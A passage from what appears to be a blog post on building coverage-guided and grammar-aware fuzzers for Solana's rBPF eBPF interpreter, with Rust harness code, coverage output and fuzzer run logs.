 1014|      2|                ebpf::JSLT_REG   => if (reg[dst] as i64) <  reg[src] as i64  { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^0
 1015|  2.05k|                ebpf::JSLE_IMM   => if (reg[dst] as i64) <= insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^2.04k                                                        ^14
 1016|  6.83k|                ebpf::JSLE_REG   => if (reg[dst] as i64) <= reg[src] as i64  { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^6.83k                                                        ^7
 1017|       |
 1018|       |                ebpf::CALL_REG   => {
 1019|      0|                    let target_address = reg[insn.imm as usize];
 1020|      0|                    reg[ebpf::FRAME_PTR_REG] =
 1021|      0|                        self.stack.push(&reg[ebpf::FIRST_SCRATCH_REG..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS], next_pc)?;
 1022|      0|                    if target_address < self.program_vm_addr {
 1023|      0|                        return Err(EbpfError::CallOutsideTextSegment(pc + ebpf::ELF_INSN_DUMP_OFFSET, target_address / ebpf::INSN_SIZE as u64 * ebpf::INSN_SIZE as u64));
 1024|      0|                    }
 1025|      0|                    next_pc = self.check_pc(pc, (target_address - self.program_vm_addr) as usize / ebpf::INSN_SIZE)?;
 1026|       |                },
 1027|       |
 1028|       |                // Do not delegate the check to the verifier, since registered functions can be
 1029|       |                // changed after the program has been verified.
 1030|       |                ebpf::CALL_IMM => {
 1031|     22|                    let mut resolved = false;
 1032|     22|                    let (syscalls, calls) = if config.static_syscalls {
 1033|     22|                        (insn.src == 0, insn.src != 0)
 1034|       |                    } else {
 1035|      0|                        (true, true)
 1036|       |                    };
 1037|       |
 1038|     22|                    if syscalls {
 1039|      2|                        if let Some(syscall) = self.executable.get_syscall_registry().lookup_syscall(insn.imm as u32) {
                                                  ^0
 1040|      0|                            resolved = true;
 1041|      0|
 1042|      0|                            if config.enable_instruction_meter {
 1043|      0|                                let _ = instruction_meter.consume(*last_insn_count);
 1044|      0|                            }
 1045|      0|                            *last_insn_count = 0;
 1046|      0|                            let mut result: ProgramResult<E> = Ok(0);
 1047|      0|                            (unsafe { std::mem::transmute::<u64, SyscallFunction::<E, *mut u8>>(syscall.function) })(
 1048|      0|                                self.syscall_context_objects[SYSCALL_CONTEXT_OBJECTS_OFFSET + syscall.context_object_slot],
 1049|      0|                                reg[1],
 1050|      0|                                reg[2],
 1051|      0|                                reg[3],
 1052|      0|                                reg[4],
 1053|      0|                                reg[5],
 1054|      0|                                &self.memory_mapping,
 1055|      0|                                &mut result,
 1056|      0|                            );
 1057|      0|                            reg[0] = result?;
 1058|      0|                            if config.enable_instruction_meter {
 1059|      0|                                remaining_insn_count = instruction_meter.get_remaining();
 1060|      0|                            }
 1061|      2|                        }
 1062|     20|                    }
 1063|       |
 1064|     22|                    if calls {
 1065|     20|                        if let Some(target_pc) = self.executable.lookup_bpf_function(insn.imm as u32) {
                                                  ^0
 1066|      0|                            resolved = true;
 1067|       |
 1068|       |                            // make BPF to BPF call
 1069|      0|                            reg[ebpf::FRAME_PTR_REG] =
 1070|      0|                                self.stack.push(&reg[ebpf::FIRST_SCRATCH_REG..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS], next_pc)?;
 1071|      0|                            next_pc = self.check_pc(pc, target_pc)?;
 1072|     20|                        }
 1073|      2|                    }
 1074|       |
 1075|     22|                    if !resolved {
 1076|     22|                        if config.disable_unresolved_symbols_at_runtime {
 1077|      6|                            return Err(EbpfError::UnsupportedInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
 1078|       |                        } else {
 1079|     16|                            self.executable.report_unresolved_symbol(pc)?;
 1080|       |                        }
 1081|      0|                    }
 1082|       |                }
 1083|       |
 1084|       |                ebpf::EXIT => {
 1085|     14|                    match self.stack.pop::<E>() {
 1086|      0|                        Ok((saved_reg, frame_ptr, ptr)) => {
 1087|      0|                            // Return from BPF to BPF call
 1088|      0|                            reg[ebpf::FIRST_SCRATCH_REG
 1089|      0|                                ..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS]
 1090|      0|                                .copy_from_slice(&saved_reg);
 1091|      0|                            reg[ebpf::FRAME_PTR_REG] = frame_ptr;
 1092|      0|                            next_pc = self.check_pc(pc, ptr)?;
 1093|       |                        }
 1094|       |                        _ => {
 1095|     14|                            return Ok(reg[0]);
 1096|       |                        }
 1097|       |                    }
 1098|       |                }
 1099|      0|                _ => return Err(EbpfError::UnsupportedInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET)),
 1100|       |            }
 1101|       |
 1102|   135k|            if config.enable_instruction_meter && *last_insn_count >= remaining_insn_count {
 1103|       |                // Use `pc + instruction_width` instead of `next_pc` here because jumps and calls don't continue at the end of this instruction
 1104|    130|                return Err(EbpfError::ExceededMaxInstructions(pc + instruction_width + ebpf::ELF_INSN_DUMP_OFFSET, initial_insn_count));
 1105|   135k|            }
 1106|       |        }
 1107|       |
 1108|    419|        Err(EbpfError::ExecutionOverrun(
 1109|    419|            next_pc + ebpf::ELF_INSN_DUMP_OFFSET,
 1110|    419|        ))
 1111|    763|    }

Unfortunately, this fuzzer doesn’t seem to achieve the coverage we expect. Several instructions are missed (note the 0 coverage on some branches of the match) and there are no jumps, calls, or other control-flow-relevant instructions. This is largely because throwing random bytes at any parser just isn’t going to be effective; most things will get caught at the verification stage, and very little will actually test the program.

We must improve this before we continue or we’ll be waiting forever for our fuzzer to find useful bugs.

At this point, we’re about two hours into development.

The smart fuzzer

eBPF is a quite simple instruction set; you can read the whole definition in just a few pages. Knowing this: why don’t we constrain our input to just these instructions? This approach is commonly called “grammar-aware” fuzzing on account of the fact that the inputs are constrained to some grammar. It is very powerful as a concept, and is used to test a variety of large targets which have strict parsing rules.

To create this grammar-aware fuzzer, I inspected the helpfully-named and provided insn_builder.rs which would allow me to create instructions. Now, all I needed to do was represent all the different instructions. By cross referencing with eBPF documentation, we can represent each possible operation in a single enum. You can see the whole grammar.rs in the rBPF repo if you wish, but the two most relevant sections are provided below.

Defining the enum that represents all instructions
#[derive(arbitrary::Arbitrary, Debug, Eq, PartialEq)]
pub enum FuzzedOp {
    Add(Source),
    Sub(Source),
    Mul(Source),
    Div(Source),
    BitOr(Source),
    BitAnd(Source),
    LeftShift(Source),
    RightShift(Source),
    Negate,
    Modulo(Source),
    BitXor(Source),
    Mov(Source),
    SRS(Source),
    SwapBytes(Endian),
    Load(MemSize),
    LoadAbs(MemSize),
    LoadInd(MemSize),
    LoadX(MemSize),
    Store(MemSize),
    StoreX(MemSize),
    Jump,
    JumpC(Cond, Source),
    Call,
    Exit,
}
Translating FuzzedOps to BpfCode
pub type FuzzProgram = Vec<FuzzedInstruction>;

pub fn make_program(prog: &FuzzProgram, arch: Arch) -> BpfCode {
    let mut code = BpfCode::default();
    for inst in prog {
        match inst.op {
            FuzzedOp::Add(src) => code
                .add(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Sub(src) => code
                .sub(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Mul(src) => code
                .mul(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Div(src) => code
                .div(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::BitOr(src) => code
                .bit_or(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::BitAnd(src) => code
                .bit_and(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::LeftShift(src) => code
                .left_shift(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::RightShift(src) => code
                .right_shift(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Negate => code
                .negate(arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Modulo(src) => code
                .modulo(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::BitXor(src) => code
                .bit_xor(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Mov(src) => code
                .mov(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::SRS(src) => code
                .signed_right_shift(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::SwapBytes(endian) => code
                .swap_bytes(endian)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Load(mem) => code
                .load(mem)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::LoadAbs(mem) => code
                .load_abs(mem)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::LoadInd(mem) => code
                .load_ind(mem)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::LoadX(mem) => code
                .load_x(mem)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Store(mem) => code
                .store(mem)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::StoreX(mem) => code
                .store_x(mem)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Jump => code
                .jump_unconditional()
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::JumpC(cond, src) => code
                .jump_conditional(cond, src)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Call => code
                .call()
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Exit => code
                .exit()
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
        };
    }
    code
}

You’ll see here that our generation doesn’t really care to ensure that instructions are valid, just that they’re in the right format. For example, we don’t verify registers, addresses, jump targets, etc.; we just slap it together and see if it works. This is to prevent over-specialisation, where our attempts to fuzz things only make “boring” inputs that don’t test cases that would normally be considered invalid.

Okay – let’s make a fuzzer with this. The only real difference here is that our input format is now changed to have our new FuzzProgram type instead of raw bytes:

#[derive(arbitrary::Arbitrary, Debug)]
struct FuzzData {
    template: ConfigTemplate,
    prog: FuzzProgram,
    mem: Vec<u8>,
    arch: Arch,
}
The whole fuzzer, though really it's not that different

This fuzzer expresses a particular stage in development. The differential fuzzer is significantly different in a few key aspects that will be discussed later.

#![feature(bench_black_box)]
#![no_main]

use std::collections::BTreeMap;
use std::hint::black_box;

use libfuzzer_sys::fuzz_target;

use grammar_aware::*;
use solana_rbpf::{
    elf::{register_bpf_function, Executable},
    insn_builder::{Arch, IntoBytes},
    memory_region::MemoryRegion,
    user_error::UserError,
    verifier::check,
    vm::{EbpfVm, SyscallRegistry, TestInstructionMeter},
};

use crate::common::ConfigTemplate;

mod common;
mod grammar_aware;

#[derive(arbitrary::Arbitrary, Debug)]
struct FuzzData {
    template: ConfigTemplate,
    prog: FuzzProgram,
    mem: Vec<u8>,
    arch: Arch,
}

fuzz_target!(|data: FuzzData| {
    let prog = make_program(&data.prog, data.arch);
    let config = data.template.into();
    if check(prog.into_bytes(), &config).is_err() {
        // verify please
        return;
    }
    let mut mem = data.mem;
    let registry = SyscallRegistry::default();
    let mut bpf_functions = BTreeMap::new();
    register_bpf_function(&config, &mut bpf_functions, &registry, 0, "entrypoint").unwrap();
    let executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
        prog.into_bytes(),
        None,
        config,
        SyscallRegistry::default(),
        bpf_functions,
    )
    .unwrap();
    let mem_region = MemoryRegion::new_writable(&mem, ebpf::MM_INPUT_START);
    let mut vm =
        EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![mem_region]).unwrap();

    drop(black_box(vm.execute_program_interpreted(
        &mut TestInstructionMeter { remaining: 1 << 16 },
    )));
});

Evaluation

Let’s see how well this version covers our target now.

$ cargo +nightly fuzz run smart -- -max_total_time=60
... snip ...
#1449846	REDUCE cov: 1730 ft: 6369 corp: 1019/168Kb lim: 4096 exec/s: 4832 rss: 358Mb L: 267/2963 MS: 1 EraseBytes-
#1450798	NEW    cov: 1730 ft: 6370 corp: 1020/168Kb lim: 4096 exec/s: 4835 rss: 358Mb L: 193/2963 MS: 2 InsertByte-InsertRepeatedBytes-
#1451609	NEW    cov: 1730 ft: 6371 corp: 1021/168Kb lim: 4096 exec/s: 4838 rss: 358Mb L: 108/2963 MS: 1 ChangeByte-
#1452095	NEW    cov: 1730 ft: 6372 corp: 1022/169Kb lim: 4096 exec/s: 4840 rss: 358Mb L: 108/2963 MS: 1 ChangeByte-
#1452830	DONE   cov: 1730 ft: 6372 corp: 1022/169Kb lim: 4096 exec/s: 4826 rss: 358Mb
Done 1452830 runs in 301 second(s)

Notice that our number of inputs tried (the number farthest left) is nearly half, but our cov and ft values are significantly higher.

Let’s evaluate that coverage a little more specifically:

$ cargo +nightly fuzz coverage smart
$ rust-cov show -Xdemangler=rustfilt fuzz/target/x86_64-unknown-linux-gnu/release/smart -instr-profile=fuzz/coverage/smart/coverage.profdata -show-line-counts-or-regions -show-instantiations -name=execute_program_interpreted_inner
Command output of rust-cov

If you’re not familiar with llvm coverage output, the first column is the line number, the second column is the number of times that that particular line was hit, and the third column is the code itself.

<solana_rbpf::vm::EbpfVm<solana_rbpf::user_error::UserError, solana_rbpf::vm::TestInstructionMeter>>::execute_program_interpreted_inner:
  709|    886|    fn execute_program_interpreted_inner(
  710|    886|        &mut self,
  711|    886|        instruction_meter: &mut I,
  712|    886|        initial_insn_count: u64,
  713|    886|        last_insn_count: &mut u64,
  714|    886|    ) -> ProgramResult<E> {
  715|    886|        // R1 points to beginning of input memory, R10 to the stack of the first frame
  716|    886|        let mut reg: [u64; 11] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, self.stack.get_frame_ptr()];
  717|    886|        reg[1] = ebpf::MM_INPUT_START;
  718|    886|
  719|    886|        // Loop on instructions
  720|    886|        let config = self.executable.get_config();
  721|    886|        let mut next_pc: usize = self.executable.get_entrypoint_instruction_offset()?;
                                                                                                  ^0
  722|    886|        let mut remaining_insn_count = initial_insn_count;
  723|  2.16M|        while (next_pc + 1) * ebpf::INSN_SIZE <= self.program.len() {
  724|  2.16M|            *last_insn_count += 1;
  725|  2.16M|            let pc = next_pc;
  726|  2.16M|            next_pc += 1;
  727|  2.16M|            let mut instruction_width = 1;
  728|  2.16M|            let mut insn = ebpf::get_insn_unchecked(self.program, pc);
  729|  2.16M|            let dst = insn.dst as usize;
  730|  2.16M|            let src = insn.src as usize;
  731|  2.16M|
  732|  2.16M|            if config.enable_instruction_tracing {
  733|      0|                let mut state = [0u64; 12];
  734|      0|                state[0..11].copy_from_slice(&reg);
  735|      0|                state[11] = pc as u64;
  736|      0|                self.tracer.trace(state);
  737|  2.16M|            }
  738|       |
  739|  2.16M|            match insn.opc {
  740|  2.16M|                _ if dst == STACK_PTR_REG && config.dynamic_stack_frames => {
  741|      6|                    match insn.opc {
  742|      2|                        ebpf::SUB64_IMM => self.stack.resize_stack(-insn.imm),
  743|      4|                        ebpf::ADD64_IMM => self.stack.resize_stack(insn.imm),
  744|       |                        _ => {
  745|       |                            #[cfg(debug_assertions)]
  746|      0|                            unreachable!("unexpected insn on r11")
  747|       |                        }
  748|       |                    }
  749|       |                }
  750|       |
  751|       |                // BPF_LD class
  752|       |                // Since this pointer is constant, and since we already know it (ebpf::MM_INPUT_START), do not
  753|       |                // bother re-fetching it, just use ebpf::MM_INPUT_START already.
  754|       |                ebpf::LD_ABS_B   => {
  755|      5|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  756|      5|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
                                      ^2
  757|      2|                    reg[0] = unsafe { *host_ptr as u64 };
  758|       |                },
  759|       |                ebpf::LD_ABS_H   =>  {
  760|      3|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  761|      3|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
                                      ^1
  762|      1|                    reg[0] = unsafe { *host_ptr as u64 };
  763|       |                },
  764|       |                ebpf::LD_ABS_W   => {
  765|      6|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  766|      6|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
                                      ^2
  767|      2|                    reg[0] = unsafe { *host_ptr as u64 };
  768|       |                },
  769|       |                ebpf::LD_ABS_DW  => {
  770|      4|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  771|      4|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
                                      ^1
  772|      1|                    reg[0] = unsafe { *host_ptr as u64 };
  773|       |                },
  774|       |                ebpf::LD_IND_B   => {
  775|      9|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  776|      9|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
                                      ^1
  777|      1|                    reg[0] = unsafe { *host_ptr as u64 };
  778|       |                },
  779|       |                ebpf::LD_IND_H   => {
  780|      3|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  781|      3|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
                                      ^1
  782|      1|                    reg[0] = unsafe { *host_ptr as u64 };
  783|       |                },
  784|       |                ebpf::LD_IND_W   => {
  785|      4|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  786|      4|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
                                      ^2
  787|      2|                    reg[0] = unsafe { *host_ptr as u64 };
  788|       |                },
  789|       |                ebpf::LD_IND_DW  => {
  790|      2|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  791|      2|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
                                      ^0
  792|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  793|       |                },
  794|       |
  795|      6|                ebpf::LD_DW_IMM  => {
  796|      6|                    ebpf::augment_lddw_unchecked(self.program, &mut insn);
  797|      6|                    instruction_width = 2;
  798|      6|                    next_pc += 1;
  799|      6|                    reg[dst] = insn.imm as u64;
  800|      6|                },
  801|       |
  802|       |                // BPF_LDX class
  803|       |                ebpf::LD_B_REG   => {
  804|     21|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  805|     21|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
                                      ^4
  806|      4|                    reg[dst] = unsafe { *host_ptr as u64 };
  807|       |                },
  808|       |                ebpf::LD_H_REG   => {
  809|      4|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  810|      4|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
                                      ^1
  811|      1|                    reg[dst] = unsafe { *host_ptr as u64 };
  812|       |                },
  813|       |                ebpf::LD_W_REG   => {
  814|     26|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  815|     26|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
                                      ^19
  816|     19|                    reg[dst] = unsafe { *host_ptr as u64 };
  817|       |                },
  818|       |                ebpf::LD_DW_REG  => {
  819|      5|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  820|      5|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
                                      ^1
  821|      1|                    reg[dst] = unsafe { *host_ptr as u64 };
  822|       |                },
  823|       |
  824|       |                // BPF_ST class
  825|       |                ebpf::ST_B_IMM   => {
  826|      8|                    let vm_addr = (reg[dst] as i64).wrapping_add( insn.off as i64) as u64;
  827|      8|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u8);
                                      ^1
  828|      1|                    unsafe { *host_ptr = insn.imm as u8 };
  829|       |                },
  830|       |                ebpf::ST_H_IMM   => {
  831|     11|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  832|     11|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u16);
                                      ^6
  833|      6|                    unsafe { *host_ptr = insn.imm as u16 };
  834|       |                },
  835|       |                ebpf::ST_W_IMM   => {
  836|      9|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  837|      9|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u32);
                                      ^6
  838|      6|                    unsafe { *host_ptr = insn.imm as u32 };
  839|       |                },
  840|       |                ebpf::ST_DW_IMM  => {
  841|     16|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  842|     16|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u64);
                                      ^11
  843|     11|                    unsafe { *host_ptr = insn.imm as u64 };
  844|       |                },
  845|       |
  846|       |                // BPF_STX class
  847|       |                ebpf::ST_B_REG   => {
  848|      9|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  849|      9|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u8);
                                      ^2
  850|      2|                    unsafe { *host_ptr = reg[src] as u8 };
  851|       |                },
  852|       |                ebpf::ST_H_REG   => {
  853|      8|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  854|      8|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u16);
                                      ^3
  855|      3|                    unsafe { *host_ptr = reg[src] as u16 };
  856|       |                },
  857|       |                ebpf::ST_W_REG   => {
  858|      7|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  859|      7|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u32);
                                      ^2
  860|      2|                    unsafe { *host_ptr = reg[src] as u32 };
  861|       |                },
  862|       |                ebpf::ST_DW_REG  => {
  863|      7|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  864|      7|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u64);
                                      ^2
  865|      2|                    unsafe { *host_ptr = reg[src] as u64 };
  866|       |                },
  867|       |
  868|       |                // BPF_ALU class
  869|    136|                ebpf::ADD32_IMM  => reg[dst] = (reg[dst] as i32).wrapping_add(insn.imm as i32)   as u64,
  870|     18|                ebpf::ADD32_REG  => reg[dst] = (reg[dst] as i32).wrapping_add(reg[src] as i32)   as u64,
  871|     94|                ebpf::SUB32_IMM  => reg[dst] = (reg[dst] as i32).wrapping_sub(insn.imm as i32)   as u64,
  872|     14|                ebpf::SUB32_REG  => reg[dst] = (reg[dst] as i32).wrapping_sub(reg[src] as i32)   as u64,
  873|    226|                ebpf::MUL32_IMM  => reg[dst] = (reg[dst] as i32).wrapping_mul(insn.imm as i32)   as u64,
  874|     15|                ebpf::MUL32_REG  => reg[dst] = (reg[dst] as i32).wrapping_mul(reg[src] as i32)   as u64,
  875|     98|                ebpf::DIV32_IMM  => reg[dst] = (reg[dst] as u32 / insn.imm as u32)               as u64,
  876|       |                ebpf::DIV32_REG  => {
  877|      4|                    if reg[src] as u32 == 0 {
  878|      2|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  879|      2|                    }
  880|      2|                    reg[dst] = (reg[dst] as u32 / reg[src] as u32) as u64;
  881|       |                },
  882|       |                ebpf::SDIV32_IMM  => {
  883|      0|                    if reg[dst] as i32 == i32::MIN && insn.imm == -1 {
  884|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  885|      0|                    }
  886|      0|                    reg[dst] = (reg[dst] as i32 / insn.imm as i32) as u64;
  887|       |                }
  888|       |                ebpf::SDIV32_REG  => {
  889|      0|                    if reg[src] as i32 == 0 {
  890|      0|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  891|      0|                    }
  892|      0|                    if reg[dst] as i32 == i32::MIN && reg[src] as i32 == -1 {
  893|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  894|      0|                    }
  895|      0|                    reg[dst] = (reg[dst] as i32 / reg[src] as i32) as u64;
  896|       |                },
  897|    102|                ebpf::OR32_IMM   =>   reg[dst] = (reg[dst] as u32             | insn.imm as u32) as u64,
  898|     13|                ebpf::OR32_REG   =>   reg[dst] = (reg[dst] as u32             | reg[src] as u32) as u64,
  899|     46|                ebpf::AND32_IMM  =>   reg[dst] = (reg[dst] as u32             & insn.imm as u32) as u64,
  900|     16|                ebpf::AND32_REG  =>   reg[dst] = (reg[dst] as u32             & reg[src] as u32) as u64,
  901|      4|                ebpf::LSH32_IMM  =>   reg[dst] = (reg[dst] as u32).wrapping_shl(insn.imm as u32) as u64,
  902|     32|                ebpf::LSH32_REG  =>   reg[dst] = (reg[dst] as u32).wrapping_shl(reg[src] as u32) as u64,
  903|      2|                ebpf::RSH32_IMM  =>   reg[dst] = (reg[dst] as u32).wrapping_shr(insn.imm as u32) as u64,
  904|      4|                ebpf::RSH32_REG  =>   reg[dst] = (reg[dst] as u32).wrapping_shr(reg[src] as u32) as u64,
  905|     54|                ebpf::NEG32      => { reg[dst] = (reg[dst] as i32).wrapping_neg()                as u64; reg[dst] &= u32::MAX as u64; },
  906|     90|                ebpf::MOD32_IMM  =>   reg[dst] = (reg[dst] as u32             % insn.imm as u32) as u64,
  907|       |                ebpf::MOD32_REG  => {
  908|     20|                    if reg[src] as u32 == 0 {
  909|      6|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  910|     14|                    }
  911|     14|                                      reg[dst] = (reg[dst] as u32            % reg[src]  as u32) as u64;
  912|       |                },
  913|     96|                ebpf::XOR32_IMM  =>   reg[dst] = (reg[dst] as u32            ^ insn.imm  as u32) as u64,
  914|     14|                ebpf::XOR32_REG  =>   reg[dst] = (reg[dst] as u32            ^ reg[src]  as u32) as u64,
  915|     59|                ebpf::MOV32_IMM  =>   reg[dst] = insn.imm  as u32                                as u64,
  916|      7|                ebpf::MOV32_REG  =>   reg[dst] = (reg[src] as u32)                               as u64,
  917|     15|                ebpf::ARSH32_IMM => { reg[dst] = (reg[dst] as i32).wrapping_shr(insn.imm as u32) as u64; reg[dst] &= u32::MAX as u64; },
  918|    236|                ebpf::ARSH32_REG => { reg[dst] = (reg[dst] as i32).wrapping_shr(reg[src] as u32) as u64; reg[dst] &= u32::MAX as u64; },
  919|      2|                ebpf::LE         => {
  920|      2|                    reg[dst] = match insn.imm {
  921|      1|                        16 => (reg[dst] as u16).to_le() as u64,
  922|      1|                        32 => (reg[dst] as u32).to_le() as u64,
  923|      0|                        64 =>  reg[dst].to_le(),
  924|       |                        _  => {
  925|      0|                            return Err(EbpfError::InvalidInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  926|       |                        }
  927|       |                    };
  928|       |                },
  929|      2|                ebpf::BE         => {
  930|      2|                    reg[dst] = match insn.imm {
  931|      1|                        16 => (reg[dst] as u16).to_be() as u64,
  932|      1|                        32 => (reg[dst] as u32).to_be() as u64,
  933|      0|                        64 =>  reg[dst].to_be(),
  934|       |                        _  => {
  935|      0|                            return Err(EbpfError::InvalidInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  936|       |                        }
  937|       |                    };
  938|       |                },
  939|       |
  940|       |                // BPF_ALU64 class
  941|  16.7k|                ebpf::ADD64_IMM  => reg[dst] = reg[dst].wrapping_add(insn.imm as u64),
  942|     26|                ebpf::ADD64_REG  => reg[dst] = reg[dst].wrapping_add(reg[src]),
  943|    145|                ebpf::SUB64_IMM  => reg[dst] = reg[dst].wrapping_sub(insn.imm as u64),
  944|     25|                ebpf::SUB64_REG  => reg[dst] = reg[dst].wrapping_sub(reg[src]),
  945|    480|                ebpf::MUL64_IMM  => reg[dst] = reg[dst].wrapping_mul(insn.imm as u64),
  946|     13|                ebpf::MUL64_REG  => reg[dst] = reg[dst].wrapping_mul(reg[src]),
